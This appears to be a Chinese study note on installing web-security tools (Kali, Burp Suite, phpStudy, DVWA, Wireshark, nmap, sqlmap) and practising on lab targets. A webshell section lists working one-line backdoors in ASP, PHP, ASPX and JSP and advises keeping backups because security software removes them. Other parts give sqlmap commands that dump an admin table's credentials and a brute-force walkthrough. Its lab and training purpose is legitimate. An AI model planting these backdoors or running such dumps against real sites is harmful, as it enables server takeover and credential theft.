Web-Commontools-Install

本文章主要简单介绍了web环境一些常见工具的下载以及安装,以及一些简单靶场环境(DVWA)的搭建。

安装VMware

VMware by Broadcom - Cloud Computing for the Enterprise

  • 安装VMware WorkStation Pro
  • 安装虚拟环境便于多平台集成使用

安装kali

Get Kali | Kali Linux

下载下来的压缩包,直接解压缩,使用VMware打开对应文件夹下的文件,即可直接导入kali虚拟环境。

默认用户名:kali

默认密码:kali

安装Java

Java8(JDK1.8)最新下载安装教程,附详细图文,适合新手,建议收藏_java 1.8下载-CSDN博客

  • 主要需要配置环境变量
    • Path
    • 创建JAVA_HOME,jdk的安装路径
  • 控制面板-系统-高级属性设置
  • 查看是否安装成功
    • 运行java -version

安装burpsuite

kali

kali自带burpsuite,一般直接调用工具库即可。

  • 利用burpsuite自带的浏览器,不需要额外配置就可以实现抓包

  • 部分无法进行抓包,可参考本地环境进行配置实现抓包

本地环境

第一章 Burp Suite 安装和环境配置 · burpsuite实战指南

  • 推荐使用firefox浏览器
  • 安装插件-FoxyProxy
  • Option-Proxy,进行代理配置,127.0.0.1:8080
  • 访问:http://burp进行测试
    • Intercept-off
    • 插件代理-on

安装Navicat

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzA4MjU4MTg2Ng==&action=getalbum&album_id=3421653652102742021

  • 一定记得断网进行实现

安装PHP study+MySQL

配置MySQL环境

进入命令行,使用mysql --version发现没成功。

打开网站,进入根目录,进入Extensions,把MySQL对应的目录进行复制。

配置环境变量,把复制的变量放在系统变量中。

默认用户名以及密码为root

命令行登录:mysql -u [username] -p,回车之后填入mysql对应的密码。

配置Navicat+导入sql文件

【MySQL】如何运行sql文件(以Navicat做演示)_navicat运行sql文件-CSDN博客

在上面成功的基础上,新建连接,输入对应的用户名以及密码。

测试连接,连接成功之后即可建立连接。

字符集:
如果你的数据库版本为5.x :选择utf8
如果你的数据库版本为8.0 :选择utf8mb4

新建成功后,双击或者右击选择打开数据库,变成绿色之后,表明正常运行。

打开的基础上,右击运行sql文件

无严重报错就可导入sql文件。

能执行成功,记得关闭数据库,然后重新打开,就能直接看到导入后的数据文件。

搭建靶场环境-DVWA

GitHub - digi;ninja/DVWA: Damn Vulnerable Web Application (DVWA)

如何搭建 DVWA 靶场保姆级教程(附链接)_dvwa靶场搭建-CSDN博客

其他靶场环境:pikachu

新建数据库之前一般会要求修改root密码,新建数据库之后,再重新连接Navicat。

配置网站。

使用设置的用户名以及密码登录网站。

标红的部分需要进行修改。

reCAPTCHA key,在DVWA/conifg.ini.php中进行新增。

刷新后可看到修改。

其他参数,在php.xxx/php.ini中修改。

保存后,选择页面的Create Database,然后重新登录。

此时使用的用户名以及密码分别为admin以及password。(有5个默认用户名及密码)

进入到靶场环境。

可修改靶场难度。

安装Winhex

http://www.winhex.com/winhex/

  • 查看文件16进制:文件类型相对较多,图片文件、音频文件、应用程序文件
  • 查看镜像文件

安装Wireshark

Wireshark · Download

  • 进行流量包分析
  • 文件后缀名:.pcap/.pcapng

SQL语句

不区分大小写,有Navicat的情况下,可视化后相对容易查看执行后的结果。

SQL 语法 | 菜鸟教程

  • 使用数据库:USE [DATABASE];
  • 查看所有表格:SHOW TABLES;
  • 查看某张表的所有数据:SELECT * FROM [TABLE]
  • 查看某列的所有数据:SELECT [COLUMN] FROM [TABLE];
  • 查看指定表指定数据(条件)+ WHERESELECT * FROM [TABLE] WHERE [CONDITION]

where 子句又被称为条件子句,用于筛选查询出来的数据集,指定的条件语句中可以使用基本的算术、关系和逻辑运算,例如:>,<,=,!=,&&,||。

  • ……

常见命令

  • SELECT - 从数据库中提取数据
  • UPDATE - 更新数据库中的数据
  • DELETE - 从数据库中删除数据
  • INSERT INTO - 向数据库中插入新数据
  • CREATE DATABASE - 创建新数据库
  • ALTER DATABASE - 修改数据库
  • CREATE TABLE - 创建新表
  • ALTER TABLE - 变更(改变)数据库表
  • DROP TABLE - 删除表

SELECT:用于从数据库中查询数据。

1
2
3
4
SELECT column_name(s)
FROM table_name
WHERE condition
ORDER BY column_name [ASC|DESC];
  • column_name(s): 要查询的列。
  • table_name: 要查询的表。
  • condition: 查询条件(可选)。
  • ORDER BY: 排序方式,ASC 表示升序,DESC 表示降序(可选)。

INSERT INTO:用于向数据库表中插入新数据。

1
2
INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...)
  • table_name: 要插入数据的表。
  • column1, column2, ...: 要插入数据的列。
  • value1, value2, ...: 对应列的值。

UPDATE:用于更新数据库表中的现有数据。

1
2
3
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition
  • table_name: 要更新数据的表。
  • column1 = value1, column2 = value2, ...: 要更新的列及其新值。
  • condition: 更新条件。

DELETE:用于从数据库表中删除数据。

1
2
DELETE FROM table_name
WHERE condition
  • table_name: 要删除数据的表。
  • condition: 删除条件。

CREATE TABLE:用于创建新的数据库表。

1
2
3
4
5
CREATE TABLE table_name (
column1 data_type constraint,
column2 data_type constraint,
...
)
  • table_name: 要创建的表名。
  • column1, column2, ...: 表的列。
  • data_type: 列的数据类型(如 INTVARCHAR 等)。
  • constraint: 列的约束(如 PRIMARY KEYNOT NULL 等)。

ALTER TABLE:用于修改现有数据库表的结构。

1
2
ALTER TABLE table_name
ADD column_name data_type
  • table_name: 要修改的表。
  • column_name: 要添加的列。
  • data_type: 列的数据类型。

或:

1
2
ALTER TABLE table_name
DROP COLUMN column_name
  • column_name: 要删除的列。

DROP TABLE:用于删除数据库表。

1
DROP TABLE table_name
  • table_name: 要删除的表。

nmap

kali自带该功能

Nmap参考指南(Man Page)

Nmap,即Network Mapper,是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。

其基本功能有三个:一是探测一组主机是否在线;其次扫描主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统。

使用nmap --help查看提供功能。

单目标/多目标/网段扫描

  • nmap -sP 172.16.5.156

  • nmap -sP 172.16.5.102 172.16.5.103

  • nmap -sP 172.16.5.*/nmap -sP 172.16.5.0/24

  • ……x.x.x.x

端口扫描

从0~65535,每个端口对应一个服务

0-1023一般被用作知名服务器到端口

  • http:80

  • https:443

  • ftp:21

  • ssh:22

  • rdp:3389

  • mysql:3306

  • mssql:1433

  • oracle:1521

通常情况下(未指定端口)nmap默认扫描最有可能开启的1000个端口

端口状态:

  • nmap提供了6个端口状态:

  • open:端口开放

  • closed:端口关闭

  • filtered:端口被过滤(防火墙等)

  • unfiltered:nmap不能确认端口是否开放,但是未被过滤(ACK扫描才会出现这种情况,可以换种扫描方式)

  • open|filtered:开放或者过滤的,nmap不能确认(不是完全被过滤的状态)。

  • closed|filtered:nmap不能确认端口是关闭的还是被过滤的。

sqlmap

kali自带该功能

https://github.com/sqlmapproject/sqlmap

【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_sqlmap使用教程-CSDN博客

可使用靶场:sqli-lab。

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

Sqlmap采用五种独特的SQL注入技术,分别是:

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  • 联合查询注入,可以使用union的情况下的注入。

  • 堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap基础注入

1
2
3
4
5
6
7
8
9
10
# 判断有无注入
sqlmap -u “http://172.16.5.156/?load=art&act=detail&id=7
# 注入数据库
sqlmap -u “http://172.16.5.156/?load=art&act=detail&id=7” —dbs
# 注入表
sqlmap -u “http://172.16.5.156/?load=art&act=detail&id=7-D cimer —tables
# 注入字段
sqlmap -u “http://172.16.5.156/?load=art&act=detail&id=7-D cimer -T admin —columns
# 注入内容
sqlmap -u “http://172.16.5.156/?load=art&act=detail&id=7-D cimer -T admin -C “username,password” —dump

基于SQL注入从面到点的过程,抓取SQL注入的流量,分析重点:放在靠后位置去找到关键数据

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
asp一句话木马:
<%execute(request("value"))%>

php一句话木马:
<?php eval($_POST['pass']);?>

aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

jsp一句话木马:
<%
f(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

Webshell要做好备份,因为经常会被电脑检测然后删掉

webshell就是以asp、php、jsp等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

PHP、eval、post这几个部分组成的 “”里就是连接要用到的密码

burp suite

Burp Suite 是用于攻击web应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。

Proxy

Proxy代理模块作为BurpSuite的核心功能,拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。

Burp 代理允许你通过监视和操纵应用程序传输的关键参数和其他数据来查找和探索应用程序的漏洞。通过以恶意的方式修改浏览器的请求,Burp 代理可以用来进行攻击,如:SQL 注入,cookie 欺骗,提升权限,会话劫持,目录遍历,缓冲区溢出。拦截的传输可以被修改成原始文本,也可以是包含参数或者消息头的表格,也可以十六进制形式,甚至可以操纵二进制形式的数据。在 Burp 代理可以呈现出包含 HTML 或者图像数据的响应消息。

intercept

  • intercept:用于显示和修改Http请求和相应,通过你的浏览器和web服务器之间拦截流量实现功能,在Proxy的选项中,可以配置拦截规则来确定是什么请求和相应被拦截(例如,范围内的项目,特定文件扩展名、项目要求与参数)

  • forword:将请求包发出

  • drop:丢掉请求包

  • intercept is on/off:截断的开关

  • Action:对请求包的一些操作,我们对包体的任何修改都可以在这个窗口内进行直接修改,然后发送

  • Raw:常规数据包模式

  • header:请求头

  • Hex:十六进制数据

http history

模块里面是我们打开burpsuite代理以来所有的http请求,我们有时候验证漏洞成功了但是复现不成功这种场景都可以在这里面进行请求的回看。

option

在options选项我们可以设置请求的监听和拦截截断客户段的请求和服务端的返回以及websocket 请求的截断。在此处我们可以修改我们监听的ip和端口,有时候我们burpsuite的请求包截取不到可能就是因为此处有问题,端口冲突等等

Intrude

  • attack type:攻击模式设置

  • sniper:对变量依次进行破解。多个标记依次进行。

  • battering ram:对变量同时进行破解。多个标记同时进行。

  • pitchfork:每一个变量标记对应一个字典,取每个字典的对应项。

  • cluster bomb:对每个变量对应一个字典,并且进行交集,并且进行交叉爆破,尝试各种组合。

Payload:

  • Payload Sets Payload数量类型设置

  • Payload Opetions[Simple list] 该选项会根据选项1中Payload type的设置而改变

  • Payload Processing 对生成的Payload进行编码、加密、截取等操作

  • Payload Encoding 你可以配置哪些有效载荷中的字符应该是URL编码的HTTP请求中的安全传输。任何已配置的URL编码最后应用,任何有效载荷处理规则执行之后。

Repeater

重放数据包。

一般修改参数,然后重放数据包,查看返回结果。

抓包示例

DVWA-brute force-low

  • Intercept On
  • foxy proxy选择对应模式

右击,转到 intrude 板块,设置账号、密码为指定对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)

分别设置字典。

进行暴力破解。

登录成功的显示。

也能直接抓包重放。

Winhex查看文件

常见文件 16进制格式 ASCII字符
JPG 文件头:FFD8;文件尾:FFD9 jpg
PNG 文件头:89504E47;文件尾:AE426082 png
ZIP/DOCX/XLS 文件头:504B0304 pk
…… …… ……
  • 两个主界面
    • 左:文件16进制格式
    • 右:16进制转换成ASCII字符
  • 搜索去定位数据
    • 16进制数值:往往提取可能存在的追加文件
    • 字符串:存在flag{或者一些关键字转码(编码)

流量分析流程

三个界面

  • 分组列表:着色区域,提供关键数据显示,ip跟Info……

  • 分组详情:基于协议进行报文拆分,按照从底层到顶层(相对来说,更关注靠近顶层的协议,TCP/UDP及以上的协议)

  • 分组字节流:数据包的原始数据(数据量最全),作为查找区域

总体分析

  • 协议分级:筛选出关键协议
    • 发现流量包中都是常见协议,我们主要关注相对靠上层占比相对更多的协议。
    • 发现流量包中存在不常见协议,去关注占比相对更少的协议。
  • 会话:筛选出关键会话。
    • 通过分组排序,把关键会话筛选出来。
    • 相对来说看分组数量更多/更少的会话
  • 端点(网络攻击行为中相对较多):筛选出某个关键IP,角色区分:服务器角色、普通用户、攻击者
    • 数据量最多:服务器
    • 数据量相对较多:攻击者
    • 数据量较少:正常用户

详细分析

  • 基于已知流量进行过滤,在总体分析的基础之上进行查看

  • 基于分析信息进行过滤,根据过滤语句进行过滤

    • 基于协议:ftp/http

    • 基于ip:ip.addr/src/dst == xxx

    • 通过报文类型进行筛选:http.request.method == GET/POST/http.response.code == 200/404/302

      • 登录场景:302
  • 追踪流

    • 版本较老的wireshark,直接推荐TCP追踪流
    • 版本新的wireshark,优先TCP,但HTTP一般也能达成目的
    • HTTP在TCP基础之上,去除了部分信息。对需要提取的数据不太明确的情况下,推荐HTTP追踪流;相对明确文件数据,推荐更全的TCP追踪流。

数据提取

  • 字符串提取

  • 文件提取

  • 追踪流分析出来的信息进行提取

  • 导出对象:HTTP/FTP

-------------THE END-------------